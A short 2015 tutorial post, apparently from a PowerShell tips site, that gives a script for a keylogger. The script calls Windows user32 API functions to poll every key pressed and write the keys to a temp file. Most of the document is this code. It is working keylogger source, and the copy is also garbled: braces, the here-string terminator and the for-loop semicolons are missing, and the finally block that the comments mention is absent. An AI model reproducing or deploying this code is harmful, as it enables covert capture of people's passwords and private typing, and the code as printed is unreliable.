Creating Simple Keylogger

by Dec 9, 2015

By accessing the Windows low-level API functions, a script can constantly monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.

Run the function Start-Keylogger to start logging key presses. Once you stop the script by pressing CTRL+C, the collected key presses are displayed:

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
      # scan all ASCII codes above 8
      for ($ascii = 9 $ascii -le 254 $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
    # open logger file in Notepad
    notepad $Path

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes

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